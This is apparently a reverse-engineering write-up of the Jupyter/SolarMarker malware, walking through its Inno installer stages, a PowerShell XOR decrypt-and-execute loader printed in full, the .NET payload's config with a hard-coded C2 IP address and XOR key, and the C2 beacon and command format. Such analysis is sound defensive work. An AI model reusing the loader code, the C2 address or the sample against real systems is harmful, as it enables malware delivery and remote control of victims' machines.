Overview

Packed sample: ee904ce81c66b774897f93b0301e297a9137295516d57ba1c4e078a383cbce39

The sample is too big for Malshare raw but we zipped it and uploaded it, the password is infected Malshare Zip Sample.

This is also known by some other names: Jupyter, Polazert, solarmarker, YellowCockatoo

References:

Unpacking Inno - Stage 1

Tools

  • Inno Extractor (950208c1b7d4d901ca7b942f98214098dc91480cc70af1af12b2291544eb761f)
  • Inno Setup Decompiler (Pascal Decompiler) (602e0a4e1efaff739ee308da7fd4c4b5ca3aa6d0640f47ef74b0d445f968301b)
  • DirWatch (031e8f61f1501a76015d3add269663172abc648973032dcff4e758effa66b235)

Behaviour

  • Inno installer drops and executes a benign file to attempt to look legitimate Docx2Rtf.exe (caf8e546f8c6ce56009d28b96c4c8229561d10a6dd89d12be30fa9021b1ce2f4)
  • The Inno compile Pascal script is used for the malicious install
  • The script drop two .txt files in %TEMP% with random names
  • One file is executed 9 times with PowerShell and is used to decrypt and launch the second file, which is also PowerShell

Manual Extraction

  • Use Inno Extractor to extract all files from the Inno installer
  • Use Inno Setup Decompiler to decompile the extracted CompiledCode.bin file
  • Use DirWatch to monitor %temp% directory with "auto save" option eabled
  • Grab the two .txt PowerShell files that were dropped in %temp% - These are Stage 2

The PowerShell code below is used to decrypt the 2nd .txt PowerShell file

;
$xk=''szikwYdJyBvQLWRAeNXPGaxEObVolScHnrKtqhMpfDjTIUgFuCmZ'';
$xb=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($p));
remove-item $p;
for($i=0;$i -lt $xb.count;){
    for($j=0;$j -lt $xk.length;$j++){
        $xb[$i]=$xb[$i] -bxor $xk[$j];
        $i++;
        if($i -ge $xb.count){$j=$xk.length}
     }
};
$xb=[System.Text.Encoding]::UTF8.GetString($xb);
iex $xb;

Stage 2 - PowerShell Deobfuscation

The 2nd stage PowerShell file is Base64 encoded and encrypted with a hard-coded XOR key (found in the first PowerShell script). Once decrypted the script is used to decrypt and reflectivly load a .NET assembly into it's own proccess memory.

Manual Extraction

Instead of attempting to maually decode the PowerShell we can take advantage of the fact that it relfectivly loads a .NET assembly to simply dump the assembly out of the process.

  • Run the malware and watch the process tree with ProcessHacker
  • When the PowerShell process executes suspend it (there are 9, just grab the one that stays running)
  • Use ExtreamDumper to dump the .NET assembly out of the PowerShell process

Stage 3 - .NET Assembly

Config

ver = "DR/1.1";
xorkey = "FVdXLbjs0Rwxsz9CrFh0pSot6Gijigf8t56R";
addr = "http://91.241.19.21"

Hardware ID

The hardware ID is stored in %userprofile%\\AppData\\Roaming\\solarmarker.dat and is just a random string.

C2 Traffic

C2 traffic is encrypted using the xorkey from the hard coded config, then base64 encoded.

Command: ping

{
"action":"ping",
"hwid":hwid,
"pc_name":M.GetComputerName(),
"os_name":M.GetWinVersion(),
"arch":M.Is64x()?"x64":"x86",
"rights":M.IsAdmin()?"Admin":"User",
"version":ldrConfig.ver,
"workgroup":M.GetWorkGroup()|M.WMI("win32_computersystem","domain"),
"dns":(M.WMI("win32_computersystem","partofdomain").ToLower()=="false")?"0":"1",
"protocol_version":1
}

The C2 can a command via the status var in the response json. The status can be either exe, ps1, or command.

Status: EXE and PS1

The C2 can send down a stage4 payload that is either a PS1 or an EXE. For PS1 they create a file in %TEMP% and execute it with PowerShell just like the Stage 1 loader. If it's an EXE they drop it in the %TEMP% and execute it directly.

Status: Command

The C2 can send a PowerShell command that is directly executed.